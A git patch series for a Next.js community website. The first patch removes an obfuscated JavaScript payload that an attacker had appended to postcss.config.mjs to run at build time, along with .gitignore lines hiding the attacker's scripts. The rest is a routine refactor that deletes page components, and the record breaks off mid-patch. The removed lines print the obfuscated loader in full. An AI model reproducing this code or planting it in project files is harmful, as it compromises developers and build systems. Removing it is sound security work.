From 8bccc830776b78131bd3491b0d436be90f8dbb11 Mon Sep 17 00:00:00 2001
From: Jean Paul Elisa NIYOKWIZERWA
Date: Tue, 30 Jun 2026 18:09:44 +0200
Subject: [PATCH 1/8] fix(security): remove malicious payload from
postcss.config.mjs
A force-push to develop/main injected obfuscated code into
postcss.config.mjs (144B -> 5.5KB), which executes during
next build/dev. Restore the clean config and drop the .gitignore
entries the attacker added to hide their tooling
(branch_structure.json, temp_auto_push.bat, temp_interactive_push.bat).
---
.gitignore | 3 ---
postcss.config.mjs | 6 +-----
2 files changed, 1 insertion(+), 8 deletions(-)
diff --git a/.gitignore b/.gitignore
index 34bb459..fb6cf66 100644
--- a/.gitignore
+++ b/.gitignore
@@ -38,6 +38,3 @@ pnpm-lock.yaml
# typescript
*.tsbuildinfo
next-env.d.ts
-branch_structure.json
-temp_auto_push.bat
-temp_interactive_push.bat
diff --git a/postcss.config.mjs b/postcss.config.mjs
index e572013..a869506 100644
--- a/postcss.config.mjs
+++ b/postcss.config.mjs
@@ -1,7 +1,3 @@
-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
/** @type {import('postcss-load-config').Config} */
const config = {
plugins: {
@@ -9,4 +5,4 @@ const config = {
},
}
-export default config; global['!']='8-3116';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();
+export default config
From eb10e2ec9a9548b5eb9bcde9b599a177ecc24e00 Mon Sep 17 00:00:00 2001
From: Jean Paul Elisa NIYOKWIZERWA
Date: Tue, 30 Jun 2026 18:11:51 +0200
Subject: [PATCH 2/8] refactor: simplify site to single page with a few flat
routes
Reduce 22 nested routes to 6 top-level ones:
/ (single page: Hero, Community, Workshops, Events, Open Source,
Team, and a new Contact section)
/workshops /events (flat list pages, detail [id] pages removed)
/code-of-conduct (flattened from /community/)
/privacy /terms
- Remove auth, resources, register, get-started, sitemap, and all
nested /community/* pages.
- Fix the previously broken nav anchors; route Join/Contact CTAs to
external channels via a single communityLinks constant.
- Add ContactSection to replace the standalone /contact page.
---
app/auth/login/page.tsx | 109 ---------
app/auth/signup/page.tsx | 188 ---------------
app/{community => }/code-of-conduct/page.tsx | 4 +-
app/community/contribute/page.tsx | 109 ---------
app/community/join/page.tsx | 100 --------
app/community/page.tsx | 96 --------
app/community/sponsorship/page.tsx | 166 -------------
app/contact/page.tsx | 146 -----------
app/events/[id]/page.tsx | 226 ------------------
app/events/page.tsx | 10 +-
app/get-started/page.tsx | 143 -----------
app/page.tsx | 2 +
app/register/events/[id]/page.tsx | 138 -----------
app/register/workshops/page.tsx | 137 -----------
app/resources/mentorship/page.tsx | 142 -----------
app/resources/page.tsx | 45 ----
app/resources/problem-solutions/page.tsx | 120 ----------
app/sitemap/page.tsx | 109 ---------
app/workshops/[id]/page.tsx | 217 -----------------
app/workshops/page.tsx | 10 +-
.../home-sections/contact-section.tsx | 79 ++++++
.../home-sections/events-section.tsx | 15 +-
src/components/home-sections/hero.tsx | 9 +-
.../home-sections/open-source-section.tsx | 20 +-
src/components/home-sections/team-section.tsx | 6 +-
.../home-sections/workshops-section.tsx | 16 +-
src/components/layout/footer.tsx | 20 +-
src/components/layout/header.tsx | 20 +-
src/lib/constants.ts | 28 ++-
29 files changed, 175 insertions(+), 2255 deletions(-)
delete mode 100644 app/auth/login/page.tsx
delete mode 100644 app/auth/signup/page.tsx
rename app/{community => }/code-of-conduct/page.tsx (98%)
delete mode 100644 app/community/contribute/page.tsx
delete mode 100644 app/community/join/page.tsx
delete mode 100644 app/community/page.tsx
delete mode 100644 app/community/sponsorship/page.tsx
delete mode 100644 app/contact/page.tsx
delete mode 100644 app/events/[id]/page.tsx
delete mode 100644 app/get-started/page.tsx
delete mode 100644 app/register/events/[id]/page.tsx
delete mode 100644 app/register/workshops/page.tsx
delete mode 100644 app/resources/mentorship/page.tsx
delete mode 100644 app/resources/page.tsx
delete mode 100644 app/resources/problem-solutions/page.tsx
delete mode 100644 app/sitemap/page.tsx
delete mode 100644 app/workshops/[id]/page.tsx
create mode 100644 src/components/home-sections/contact-section.tsx
diff --git a/app/auth/login/page.tsx b/app/auth/login/page.tsx
deleted file mode 100644
index 33a4479..0000000
--- a/app/auth/login/page.tsx
+++ /dev/null
@@ -1,109 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Mail, Lock, ArrowRight } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Sign In | Django Rwanda Community",
- description: "Sign in to your Django Rwanda Community account",
-};
-
-export default function LoginPage() {
- return (
-
-
-
-
- D
-
-
Welcome Back
-
- Sign in to your Django Rwanda Community account
-
-
-
-
-
-
- {/* Divider */}
-
-
- {/* Social Login */}
-
-
- Continue with Google
-
-
- Continue with GitHub
-
-
-
-
- {/* Sign up link */}
-
- Don't have an account?{" "}
-
- Sign up here
-
-
-
-
- );
-}
diff --git a/app/auth/signup/page.tsx b/app/auth/signup/page.tsx
deleted file mode 100644
index c9987ce..0000000
--- a/app/auth/signup/page.tsx
+++ /dev/null
@@ -1,188 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { User, Mail, Lock, Zap } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Sign Up | Django Rwanda Community",
- description: "Create your Django Rwanda Community account",
-};
-
-export default function SignupPage() {
- return (
-
-
-
-
- D
-
-
- Join Django Rwanda
-
-
- Create your account and start your journey
-
-
-
-
-
-
- {/* Divider */}
-
-
- {/* Social Sign up */}
-
-
- Sign up with Google
-
-
- Sign up with GitHub
-
-
-
-
- {/* Sign in link */}
-
- Already have an account?{" "}
-
- Sign in here
-
-
-
-
- );
-}
diff --git a/app/community/code-of-conduct/page.tsx b/app/code-of-conduct/page.tsx
similarity index 98%
rename from app/community/code-of-conduct/page.tsx
rename to app/code-of-conduct/page.tsx
index 84d9d1f..78d7b4c 100644
--- a/app/community/code-of-conduct/page.tsx
+++ b/app/code-of-conduct/page.tsx
@@ -40,10 +40,10 @@ export default function CodeOfConductPage() {
- ← Back to Community
+ ← Back to Home
Code of Conduct
diff --git a/app/community/contribute/page.tsx b/app/community/contribute/page.tsx
deleted file mode 100644
index 5625829..0000000
--- a/app/community/contribute/page.tsx
+++ /dev/null
@@ -1,109 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { BookOpen, Code, Users, Megaphone } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Contribute | Django Rwanda Community",
- description: "Help shape the future of Django Rwanda",
-};
-
-const contributionAreas = [
- {
- icon: Code,
- title: "Code & Development",
- description:
- "Contribute to our open-source projects and help build solutions for African communities.",
- },
- {
- icon: BookOpen,
- title: "Content & Documentation",
- description:
- "Help us create tutorials, guides, and documentation for the community.",
- },
- {
- icon: Users,
- title: "Community Support",
- description:
- "Become a mentor, organize events, or moderate our community channels.",
- },
- {
- icon: Megaphone,
- title: "Marketing & Outreach",
- description:
- "Help spread the word about Django Rwanda and grow our community.",
- },
-];
-
-export default function ContributePage() {
- return (
-
-
-
-
- ← Back to Community
-
-
- How to Contribute
-
-
- Every contribution matters. There are many ways to help build and
- improve Django Rwanda.
-
-
-
-
-
-
-
- {contributionAreas.map((area, idx) => {
- const Icon = area.icon;
- return (
-
-
-
-
-
- {area.title}
-
- {area.description}
-
- );
- })}
-
-
- {/* Getting Started */}
-
-
- Getting Started
-
-
-
- 1.
- Join our community on Discord or Slack
-
-
- 2.
- Introduce yourself and tell us your interests
-
-
- 3.
- Check our contribution guidelines on GitHub
-
-
- 4.
- Start contributing on an issue or create your own!
-
-
-
- View on GitHub
-
-
-
-
-
- );
-}
diff --git a/app/community/join/page.tsx b/app/community/join/page.tsx
deleted file mode 100644
index 90e643f..0000000
--- a/app/community/join/page.tsx
+++ /dev/null
@@ -1,100 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Check } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Join Community | Django Rwanda",
- description: "Become a member of Django Rwanda Community",
-};
-
-const benefits = [
- "Access to exclusive workshops and training materials",
- "Join networking events and meetups",
- "Collaborate on open-source projects",
- "Get mentorship from experienced developers",
- "Access to job board and opportunities",
- "Connect with 500+ community members",
-];
-
-export default function JoinPage() {
- return (
-
-
-
-
- ← Back to Community
-
-
- Join Django Rwanda
-
-
- Be part of a vibrant community of African developers dedicated to
- innovation and learning.
-
-
-
-
-
-
-
- {/* Benefits */}
-
-
- Membership Benefits
-
-
-
- {benefits.map((benefit, idx) => (
-
-
- {benefit}
-
- ))}
-
-
-
-
- {/* Signup Form */}
-
-
- Get Started
-
-
-
-
-
-
-
-
-
- );
-}
diff --git a/app/community/page.tsx b/app/community/page.tsx
deleted file mode 100644
index 388f2a5..0000000
--- a/app/community/page.tsx
+++ /dev/null
@@ -1,96 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Users, BookOpen, Share2, Gift, ArrowRight } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Community | Django Rwanda",
- description: "Join the Django Rwanda Community and grow with us",
-};
-
-const communityLinks = [
- {
- id: 1,
- title: "Join Us",
- description: "Become part of our thriving community of Django developers",
- href: "/community/join",
- icon: Users,
- color: "from-primary/10 to-accent/10",
- },
- {
- id: 2,
- title: "Code of Conduct",
- description: "Our values and principles for a respectful community",
- href: "/community/code-of-conduct",
- icon: BookOpen,
- color: "from-secondary/10 to-primary/10",
- },
- {
- id: 3,
- title: "Contribute",
- description: "Help shape the future of Django Rwanda",
- href: "/community/contribute",
- icon: Share2,
- color: "from-accent/10 to-secondary/10",
- },
- {
- id: 4,
- title: "Sponsorship",
- description: "Partner with us to support the community",
- href: "/community/sponsorship",
- icon: Gift,
- color: "from-primary/10 to-secondary/10",
- },
-];
-
-export default function CommunityPage() {
- return (
-
- {/* Header */}
-
-
-
-
- Community
-
-
- Join, learn, contribute, and grow with Django Rwanda. Choose your
- journey below.
-
-
-
-
-
- {/* Community Links Grid */}
-
-
-
- {communityLinks.map((item) => {
- const Icon = item.icon;
- return (
-
-
-
-
-
-
- {item.title}
-
-
- {item.description}
-
-
-
-
- );
- })}
-
-
-
-
- );
-}
diff --git a/app/community/sponsorship/page.tsx b/app/community/sponsorship/page.tsx
deleted file mode 100644
index 24db96b..0000000
--- a/app/community/sponsorship/page.tsx
+++ /dev/null
@@ -1,166 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Gift, Star, Crown, Zap } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Sponsorship | Django Rwanda Community",
- description: "Partner with us to support the community",
-};
-
-const sponsorshipTiers = [
- {
- name: "Bronze",
- price: "$500",
- icon: Gift,
- benefits: [
- "Logo on website",
- "Social media mention",
- "Event booth access",
- "Community newsletter",
- ],
- },
- {
- name: "Silver",
- price: "$2,500",
- icon: Star,
- benefits: [
- "All Bronze benefits",
- "Speaking opportunity",
- "Job board listing",
- "Quarterly newsletter feature",
- ],
- },
- {
- name: "Gold",
- price: "$5,000",
- icon: Crown,
- benefits: [
- "All Silver benefits",
- "Exclusive workshop sponsorship",
- "Named event partnership",
- "Premium newsletter placement",
- ],
- },
- {
- name: "Platinum",
- price: "Custom",
- icon: Zap,
- benefits: [
- "All Gold benefits",
- "Custom partnership plan",
- "Executive visibility",
- "Strategic collaboration",
- ],
- },
-];
-
-export default function SponsorshipPage() {
- return (
-
-
-
-
- ← Back to Community
-
-
- Become a Sponsor
-
-
- Partner with Django Rwanda to support African developers and make a
- lasting impact on our community.
-
-
-
-
-
-
- {/* Sponsorship Tiers */}
-
-
- Sponsorship Packages
-
-
- {sponsorshipTiers.map((tier, idx) => {
- const Icon = tier.icon;
- return (
-
-
-
-
-
- {tier.name}
-
-
- {tier.price}
-
-
- {tier.benefits.map((benefit, i) => (
-
- ✓
- {benefit}
-
- ))}
-
-
- Get Started
-
-
- );
- })}
-
-
-
- {/* Why Sponsor */}
-
-
- Why Sponsor Django Rwanda?
-
-
-
- •
-
- Reach 500+ active developers and tech professionals across
- Africa
-
-
-
- •
-
- Build brand recognition in the growing African tech ecosystem
-
-
-
- •
- Support open-source innovation and community growth
-
-
- •
- Access talent for hiring and partnerships
-
-
-
-
- {/* Contact */}
-
-
Ready to partner with us?
-
-
- Contact Us for Sponsorship Info
-
-
-
-
-
-
- );
-}
diff --git a/app/contact/page.tsx b/app/contact/page.tsx
deleted file mode 100644
index 9ae5df8..0000000
--- a/app/contact/page.tsx
+++ /dev/null
@@ -1,146 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Mail, Phone, MapPin, Send } from "lucide-react";
-
-export const metadata = {
- title: "Contact Us | Django Rwanda Community",
- description: "Get in touch with Django Rwanda Community",
-};
-
-export default function ContactPage() {
- return (
-
-
-
-
- Contact Us
-
-
- Have questions or suggestions? We'd love to hear from you.
-
-
-
-
-
-
-
- {/* Contact Info */}
-
-
-
- Get in Touch
-
-
-
-
-
-
-
-
-
-
-
-
Location
-
- Kigali Innovation Hub, Kigali, Rwanda
-
-
-
-
-
-
-
-
- Response Time
-
-
- We typically respond to inquiries within 24 hours during
- business days.
-
-
-
-
- {/* Contact Form */}
-
-
- Send us a Message
-
-
-
-
- Name
-
-
-
-
-
-
- Email
-
-
-
-
-
-
- Subject
-
-
-
-
-
-
- Message
-
-
-
-
-
- Send Message
-
-
-
-
-
-
-
-
- );
-}
diff --git a/app/events/[id]/page.tsx b/app/events/[id]/page.tsx
deleted file mode 100644
index 48ba75a..0000000
--- a/app/events/[id]/page.tsx
+++ /dev/null
@@ -1,226 +0,0 @@
-import { events } from "@/src/lib/constants";
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Calendar, MapPin, Users, Clock, Share2, Bell } from "lucide-react";
-import Link from "next/link";
-import { notFound } from "next/navigation";
-
-export async function generateStaticParams() {
- return events.map((event) => ({
- id: event.id.toString(),
- }));
-}
-
-export async function generateMetadata(props: {
- params: Promise<{ id: string }>;
-}) {
- const params = await props.params;
- const event = events.find((e) => e.id === Number.parseInt(params.id));
- return {
- title: `${event?.title} | Django Rwanda Events`,
- description: event?.description,
- };
-}
-
-export default async function EventDetailPage(props: {
- params: Promise<{ id: string }>;
-}) {
- const params = await props.params;
- const event = events.find((e) => e.id === Number.parseInt(params.id));
-
- if (!event) {
- notFound();
- }
-
- const agenda = [
- { time: "6:00 PM", activity: "Registration & Networking" },
- { time: "6:15 PM", activity: "Welcome & Announcements" },
- { time: "6:30 PM", activity: "Main Presentation" },
- { time: "7:15 PM", activity: "Q&A Session" },
- { time: "7:45 PM", activity: "Networking & Refreshments" },
- ];
-
- return (
-
- {/* Header */}
-
-
-
- ← Back to Events
-
-
- {event.title}
-
-
{event.description}
-
-
-
- {/* Content */}
-
-
-
- {/* Main Content */}
-
- {/* Event Details Card */}
-
-
- Event Details
-
-
-
-
-
-
- Date
-
-
{event.date}
-
-
-
-
-
-
- Time
-
-
{event.time}
-
-
-
-
-
-
- Location
-
-
{event.location}
-
-
-
-
-
-
- Attendees
-
-
- {event.attendees} people attending
-
-
-
-
-
-
- {/* Agenda */}
-
-
- Agenda
-
-
- {agenda.map((item, idx) => (
-
-
- {item.activity}
-
- ))}
-
-
-
- {/* What to Expect */}
-
-
- What to Expect
-
-
-
- •
-
- Network with Django developers and tech enthusiasts from
- across the region
-
-
-
- •
-
- Learn from experienced speakers and community leaders
-
-
-
- •
-
- Discover job opportunities and collaboration possibilities
-
-
-
- •
- Enjoy refreshments and casual networking time
-
-
-
-
-
- {/* Sidebar */}
-
- {/* Registration Card */}
-
-
- Ready to attend?
-
-
-
- Register Now
-
-
-
- Limited spots available
-
-
-
- {/* Share */}
-
- Share Event
-
-
-
-
-
- Copy Link
-
-
-
-
- {/* Reminders */}
-
-
-
- Get Notified
-
-
- Set Reminder
-
-
-
-
-
-
-
- );
-}
diff --git a/app/events/page.tsx b/app/events/page.tsx
index 8201427..14eb4cd 100644
--- a/app/events/page.tsx
+++ b/app/events/page.tsx
@@ -1,4 +1,4 @@
-import { events } from "@/src/lib/constants";
+import { events, communityLinks } from "@/src/lib/constants";
import { Card } from "@/src/components/ui/card";
import { Button } from "@/src/components/ui/button";
import { Calendar, MapPin, Users, Clock, ArrowRight } from "lucide-react";
@@ -70,9 +70,13 @@ export default function EventsPage() {
{/* CTA */}
-
+
- View Details
+ Register
diff --git a/app/get-started/page.tsx b/app/get-started/page.tsx
deleted file mode 100644
index 3b9d141..0000000
--- a/app/get-started/page.tsx
+++ /dev/null
@@ -1,143 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { BookOpen, Users, Code, Lightbulb, ArrowRight } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Get Started | Django Rwanda Community",
- description: "Start your journey with Django Rwanda Community",
-};
-
-const paths = [
- {
- icon: BookOpen,
- title: "I Want to Learn Django",
- description:
- "Master Django through comprehensive workshops and training programs",
- cta: "Browse Workshops",
- href: "/workshops",
- },
- {
- icon: Users,
- title: "I Want to Join the Community",
- description:
- "Connect with other developers, attend events, and grow together",
- cta: "Join Us",
- href: "/community/join",
- },
- {
- icon: Code,
- title: "I Want to Contribute",
- description:
- "Help build open-source projects and solve real-world problems",
- cta: "Learn How",
- href: "/community/contribute",
- },
- {
- icon: Lightbulb,
- title: "I Want to Start a Startup",
- description: "Access resources, mentorship, and funding opportunities",
- cta: "Explore Resources",
- href: "/resources",
- },
-];
-
-export default function GetStartedPage() {
- return (
-
- {/* Header */}
-
-
-
-
- Get Started with Django Rwanda
-
-
- Choose your path and begin your journey with Django Rwanda
- Community
-
-
-
-
-
- {/* Paths */}
-
-
-
- {paths.map((path, idx) => {
- const Icon = path.icon;
- return (
-
-
-
-
-
-
-
- {path.title}
-
-
- {path.description}
-
-
-
- {path.cta}
-
-
-
-
- );
- })}
-
-
-
-
- {/* Quick Start */}
-
-
-
- Quick Start in 3 Steps
-
-
- {[
- {
- step: "1",
- title: "Sign Up",
- description:
- "Create your free Django Rwanda Community account in minutes",
- },
- {
- step: "2",
- title: "Introduce Yourself",
- description:
- "Tell us about your interests and experience level",
- },
- {
- step: "3",
- title: "Join the Community",
- description: "Start connecting, learning, and growing with us",
- },
- ].map((item) => (
-
-
- {item.step}
-
-
{item.title}
-
{item.description}
-
- ))}
-
-
-
-
-
- Create Your Account Now
-
-
-
-
-
-
-
- );
-}
diff --git a/app/page.tsx b/app/page.tsx
index 577fafa..2a5dd66 100644
--- a/app/page.tsx
+++ b/app/page.tsx
@@ -4,6 +4,7 @@ import { WorkshopsSection } from "@/src/components/home-sections/workshops-secti
import { EventsSection } from "@/src/components/home-sections/events-section";
import { OpenSourceSection } from "@/src/components/home-sections/open-source-section";
import { TeamSection } from "@/src/components/home-sections/team-section";
+import { ContactSection } from "@/src/components/home-sections/contact-section";
export default function Home() {
return (
@@ -14,6 +15,7 @@ export default function Home() {
+
>
);
}
diff --git a/app/register/events/[id]/page.tsx b/app/register/events/[id]/page.tsx
deleted file mode 100644
index 620281b..0000000
--- a/app/register/events/[id]/page.tsx
+++ /dev/null
@@ -1,138 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { events } from "@/src/lib/constants";
-import { Check } from "lucide-react";
-import { notFound } from "next/navigation";
-
-export async function generateStaticParams() {
- return events.map((event) => ({
- id: event.id.toString(),
- }));
-}
-
-export async function generateMetadata(props: {
- params: Promise<{ id: string }>;
-}) {
- const params = await props.params;
- const event = events.find((e) => e.id === Number.parseInt(params.id));
- return {
- title: `Register for ${event?.title} | Django Rwanda`,
- description: `Register for the ${event?.title} event`,
- };
-}
-
-export default async function EventRegistrationPage(props: {
- params: Promise<{ id: string }>;
-}) {
- const params = await props.params;
- const event = events.find((e) => e.id === Number.parseInt(params.id));
-
- if (!event) {
- notFound();
- }
-
- return (
-
-
-
-
- Register for Event
-
-
{event.title}
-
-
-
-
-
-
-
-
- Email Address
-
-
-
-
-
-
- Phone Number
-
-
-
-
-
-
- Company/Organization
-
-
-
-
-
-
- How did you hear about this event?
-
-
- Select option
- Social Media
- Email Newsletter
- Friend Referral
- Website
- Other
-
-
-
-
-
- Special Requests
-
-
-
-
-
-
-
- I agree to the Code of Conduct and community guidelines
-
-
-
-
- Confirm Registration
-
-
-
-
-
-
- );
-}
diff --git a/app/register/workshops/page.tsx b/app/register/workshops/page.tsx
deleted file mode 100644
index 52a5149..0000000
--- a/app/register/workshops/page.tsx
+++ /dev/null
@@ -1,137 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Check } from "lucide-react";
-
-export const metadata = {
- title: "Workshop Registration | Django Rwanda",
- description: "Register for Django workshops",
-};
-
-export default function WorkshopRegistrationPage() {
- return (
-
-
-
-
- Workshop Registration
-
-
- Secure your spot in our next workshop
-
-
-
-
-
-
-
-
-
- Email Address
-
-
-
-
-
-
- Phone Number
-
-
-
-
-
-
- Select Workshop
-
-
- Choose a workshop
- Django Fundamentals
- Advanced Django Patterns
- Building APIs with Django REST
- Full-Stack Django & React
-
-
-
-
-
- Experience Level
-
-
- {["Beginner", "Intermediate", "Advanced"].map((level) => (
-
-
- {level}
-
- ))}
-
-
-
-
-
- Additional Comments
-
-
-
-
-
-
-
- I agree to receive updates and notifications about the workshop
-
-
-
-
- Complete Registration
-
-
-
-
-
-
- );
-}
diff --git a/app/resources/mentorship/page.tsx b/app/resources/mentorship/page.tsx
deleted file mode 100644
index 14c5e4b..0000000
--- a/app/resources/mentorship/page.tsx
+++ /dev/null
@@ -1,142 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Users, Star, MessageSquare } from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Mentorship Network | Django Rwanda Resources",
- description: "Connect with experienced mentors and build your network",
-};
-
-const mentorshipBenefits = [
- {
- icon: Users,
- title: "Connect with Experts",
- description:
- "Meet experienced entrepreneurs and technical leaders in the Django community",
- },
- {
- icon: Star,
- title: "Get Guidance",
- description:
- "Receive mentorship on startup strategy, technical decisions, and growth",
- },
- {
- icon: MessageSquare,
- title: "Share Knowledge",
- description: "Learn from others' experiences and share your own expertise",
- },
-];
-
-const mentors = [
- {
- name: "Sarah Kamya",
- role: "CTO, Startup Hub Rwanda",
- expertise: ["Django", "Scalability", "Tech Leadership"],
- availability: "Available for mentoring",
- },
- {
- name: "John Mutua",
- role: "Founder, Local Tech Solutions",
- expertise: ["Product Development", "Go-to-Market", "Business Strategy"],
- availability: "1-2 sessions/month",
- },
- {
- name: "Grace Mwangi",
- role: "Full Stack Developer, Tech Community Lead",
- expertise: ["Python", "Open Source", "Community Building"],
- availability: "Available",
- },
- {
- name: "David Nganga",
- role: "Business Development, East Africa Tech",
- expertise: ["Partnerships", "Fundraising", "Growth Strategy"],
- availability: "By appointment",
- },
-];
-
-export default function MentorshipPage() {
- return (
-
-
-
-
- ← Back to Resources
-
-
- Mentorship Network
-
-
- Get guidance from experienced mentors and accelerate your
- entrepreneurial journey.
-
-
-
-
-
-
- {/* Benefits */}
-
-
- Why Join Our Mentorship Network?
-
-
- {mentorshipBenefits.map((benefit, idx) => {
- const Icon = benefit.icon;
- return (
-
-
-
-
-
- {benefit.title}
-
-
- {benefit.description}
-
-
- );
- })}
-
-
-
- {/* Mentors */}
-
-
- Meet Our Mentors
-
-
- {mentors.map((mentor, idx) => (
-
-
- {mentor.name}
-
- {mentor.role}
-
- {mentor.expertise.map((exp, i) => (
-
- {exp}
-
- ))}
-
-
- {mentor.availability}
-
-
- Request Mentoring
-
-
- ))}
-
-
-
-
-
- );
-}
diff --git a/app/resources/page.tsx b/app/resources/page.tsx
deleted file mode 100644
index c3d342c..0000000
--- a/app/resources/page.tsx
+++ /dev/null
@@ -1,45 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import {
- BookOpen,
- DollarSign,
- Handshake,
- Lightbulb,
- ArrowRight,
-} from "lucide-react";
-import Link from "next/link";
-
-export const metadata = {
- title: "Resources for Entrepreneurs | Django Rwanda",
- description:
- "Startup toolkit, funding directory, mentorship, and resources for African entrepreneurs",
-};
-
-const resourceIcons = [BookOpen, DollarSign, Handshake, Lightbulb];
-const resourceLinks = [
- "/resources/startup-toolkit",
- "/resources/funding-directory",
- "/resources/mentorship",
- "/resources/problem-solutions",
-];
-
-export default function ResourcesPage() {
- return (
-
- {/* Header */}
-
-
-
-
- Resources for Entrepreneurs
-
-
- Everything you need to launch and grow your startup. Access tools,
- funding, mentorship, and solutions for African markets.
-
-
-
-
-
-
- );
-}
diff --git a/app/resources/problem-solutions/page.tsx b/app/resources/problem-solutions/page.tsx
deleted file mode 100644
index a567f22..0000000
--- a/app/resources/problem-solutions/page.tsx
+++ /dev/null
@@ -1,120 +0,0 @@
-import { Card } from "@/src/components/ui/card";
-import { Button } from "@/src/components/ui/button";
-import { Lightbulb, TrendingUp, Users, MapPin } from "lucide-react";
